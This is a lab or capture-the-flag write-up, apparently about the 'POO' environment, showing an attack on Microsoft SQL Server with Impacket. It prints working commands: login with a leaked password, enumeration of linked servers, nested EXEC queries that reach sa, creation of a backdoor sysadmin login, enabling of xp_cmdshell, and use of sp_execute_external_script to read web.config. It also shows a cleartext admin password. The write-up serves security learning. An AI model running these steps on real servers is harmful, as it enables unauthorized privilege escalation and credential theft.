> Information Gathering
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications which may run either on the same computer or on another computer across a network (including the Internet).
Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself. Packets can be constructed from scratch, as well as parsed from raw data, and the object oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library. More Information can be found at SecureAuth Corporation
In this engagement, we will use Impacket-mssqlclient.py script. First we will login to the mssql service using the mssql-client.py
, to do this we will parse the database credentials and ip as agruments to the mssql-client.py
script. impacket-mssqlclient external_user:"#p00Public3xt3rnalUs3r#"@10.13.38.11
.
After logging in to the mssql database, we will haev to check if the user has sysadmin privileges on the databases. This can be done by querying the syslogins table using the command SELECT name,sysadmin from syslogins;
.
The database has two users sa
& external_user
. From the output, we can see the current user doesn’t have sysadmin privileges
, which means we can’t use xp_cmdshell to execute OS commands. We can check this by trying to enable xp_cmdshell
Microsoft SQL servers provides the ability to link external resources such as Oracle databases and other SQL servers. This is common to find in domain environments and can be exploited in case of misconfigurations. To verify if there are any linked servers on the current database, we will have to query the sysservers table by executing the command select srvname,isremote from sysservers;
.
Quering the table displayed two entries: POO_PUBLIC (current server)
and POO_CONFIG
. According to the documentation, isremote column
determines if a server is linked or not. The value 1
stands for remote server
, while the value 0 stands for a linked server
. From this, we can conclude that POO_CONFIG
is a linked server.
From the docs, EXEC
statement can be used to execute queries on linked servers. The next step is to find out the user in whose context we will be able to query the linked server. To do this, we will type EXECUTE ('select suser_name();') at [COMPATIBILITY\POO_CONFIG];
The queries on the linked server POO_CONFIG
are running as internal_user
. To do greater damage, in this scenario, we will need the permissions of the sa
user, so its best to check is the internal_user
is sa
on the targett or has sa
privileges assigned to this user. To do this, we will execute the commmand EXECUTE ('SELECT name,sysadmin from syslogins;') at [COMPATIBILITY\POO_CONFIG];
.
Bad luck on our side, the user internal_user
is also not a sysadmin
on the target. That is not the end remember this target has linked databases so we can try to enumerate the POO_CONFIG
server to see if it has more links. We can recon on more links using EXECUTE ('select srvname,isremote from sysservers;') at [COMPATIBILITY\POO_CONFIG];
.
> Adding SA User
From the image above, we can see that POO_CONFIG
is in turn linked to POO_PUBLIC
, making it a circular link. This is good news to the eyes since we can use nested queries to find out what user we’re running as. Let’s execute this command EXEC ('EXEC (''select suser_name();'') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
.
A nested EXEC statement
is used to find the username after crawling back from the POO_CONFIG link
. The query returned sa
, which means that the link allows us to execute queries as the sysadmin user
on our current database POO_PUBLIC
. The diagram below shows how the links are crawled in order to attain sa privileges
. We can use these privileges to change the sa password
on POO_PUBLIC
.
With this information, we can add a new sa user
to the POO_PUBLIC
database using a nested query. We will add a new SQL user named r0b0t
with the password P@ssword123
. The r0b0t
user will be granted sysadmin level privileges
. To avoid errors, we all single quotes should be escaped with another quote.
We now add the r0b0t
user and also grant him the sysadmin privileges
. To achieve this, we will use the following commands.
EXECUTE('EXECUTE(''CREATE LOGIN r0b0t WITH PASSWORD = ''''P@ssword123'''' '') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''r0b0t'''' , ''''sysadmin'''' '') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG"
The command was executed successfully without any errors. We can login to the mssql
database using the username r0b0t
& password P@ssword123
. To achieve this, we will need impacket-mssqlclient
script with the argument impacket-mssqlclient r0b0t:'P@ssword123'@10.13.38.11
.
> File Read Using sp_execute_external_script
After a successful login with the r0b0t
user credentials, we know this user has sysadmin-level
privileges thus can enable and execute system commands using the xp_cmdshell
stored procedure. To enable xp_cmdshell
in mssqlcient.py
, we will use the command enable_xp_cmdshell
and install the new configuration using RECONFIGURE
.We can test code execution using the command xp_cmdshell whoami
.
The SQL Server service found to be running as a standard service account. The IIS web.config
file mostly contains credentials. Our main target now is to grab the contents of this file. We can siimply do this using xp_cmdshell icacls c:\inetpub\wwwroot\web.config
.
Looks like we do not have permissions to read that file. What could be the problem? icacls
is blocked on the target or we just lack permissions. So i tried to read other files on the target using the command xp_cmdshell icacls c:\windows\system32\drivers\etc\hosts
.
So icacls
works perfect all we need is to find a new way to read files on the target through mssql
. After digging around, i found out that there is an SQL Server feature
called sp_execute_external_script. This stored procedure allows us to execute external scripts written in Ruby
or Python
. So first we have to enable this procedure to test some python codes. To enable this feature, we will use the command EXEC sp_configure 'external scripts enabled', 1
and install this configuration with the command RECONFFIGURE
.
With the feature enabled, We will build our external script using the python sample located at sp_execute_external_script main page. For test purposes, we will look at executing an external python script
to print out a text on our screen using the command EXEC sp_execute_external_script @language = N'Python', @script = N'print( "r0b0t Test Print" );';
Our external python script works good the next thing we have to do is to read the web.config
file from c:\inetpub\wwwroot\
directory. To do this, we will import python os module
and execute the command EXEC sp_execute_external_script @language = N'Python', @script = N'import os;os.system("type C:\inetpub\wwwroot\web.config");';
Hehehee guess what?? we did it. We are able to read files on the target using external python scripts
. Fruits of the hunt?? we actually found the credentials in the web.config
file.
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user
name="Administrator"
password="EverybodyWantsToWorkAtP.O.O."
/>
</credentials>
</forms>
</authentication>
I hope you enjoyed the ride and also discovered something new. Kindly subscribe to my YouTube channel for more contents